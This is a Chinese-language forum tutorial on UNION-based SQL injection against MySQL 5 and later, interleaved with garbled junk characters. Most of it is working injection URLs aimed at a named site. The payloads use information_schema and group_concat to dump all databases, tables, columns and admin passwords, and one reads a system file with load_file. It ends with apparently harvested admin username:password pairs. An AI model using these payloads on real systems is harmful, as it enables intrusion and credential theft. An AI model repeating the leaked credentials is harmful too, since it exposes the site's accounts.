此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似$ d W; Y1 R: p; B# d( v9 d( j
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人) R! N5 {- L4 D) e
9 h4 u$ N( i, p& m5 W; K- t" i w- S, b0 b% S
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
! Q4 P" _% D4 c& M$ c# x
* E2 h/ A1 y* X! T2 s缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...! g% l) N, x7 e4 A# S; s1 N$ e
4 l j; W* D$ D- q D- u下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
6 Y- U4 m( j. C# m) C在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等' {2 W8 Z8 @4 N+ M% ~' d" B5 E
$ {2 K4 q. [" \& Z5 f& a, S6 Ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,171 P. G; h( {6 Y Z+ m# w- A
0 |+ U& C; `$ u/ g9 D3 y5 v0 h8 Q读出所有库:
W+ c: O& z" K- chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
; j" C( K" A4 @# I$ r
% R1 I* f3 B# t+ O4 w% ?+ d( U4 y8 Y3 \! W, m; ]- @
2 ^7 I8 _. a6 O' Z读出所有表:
" F1 y5 f9 e1 @8 q. i: P" u. Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
( Q( c( v! G& A0 u7 e% T
3 B- ?5 G" t4 P: _) [6 z读出所有表字段:
& X- v; A! i6 X4 A' Y+ W" u5 Yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
# s d3 b% e1 S W; X, V*/ (97,100,109,105,110)为admin的ascii码 依次类推7 }8 E! O. e& y- ]' j- z
& w& c! F! w* R! J0 h( T/ q
读出所有表字段里的内容:
+ D2 E! ~+ E/ y. whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
; U, F. c( | Y, a3 x, J8 i2 ]8 @2 `3 C* ~- c5 {" u$ _
7 ]$ q$ u T) S) J3 S8 s3 P
8 T, h7 N$ I! R
, S( Z0 w, o) G+ G3 B. Y- y0 C" m( O1 h# r: O/ k5 s% p4 \+ r
+ V7 }& e8 h. [
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
* h) Z6 e4 N9 S$ M, D6 R) O" {5 L0 \% S: l# V6 n
( {4 M8 I; B2 w8 K3 Mhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
, @* z+ I) {0 ?
0 |+ t3 b; _/ N% s, nhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
% r. H4 t5 T# N- J* K$ D" p+ J1 H. K! T( b& } g7 x
1 G$ e9 M+ N7 @6 O; c4 u% Y3 p
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
5 m# @' T2 I, m6 S. m& V
" k5 j/ o. S u. j& W2 F" y9 I: F# U
webmaster:dzb521123,simlab:simadmin20043233
. W) U! K2 V5 B! r |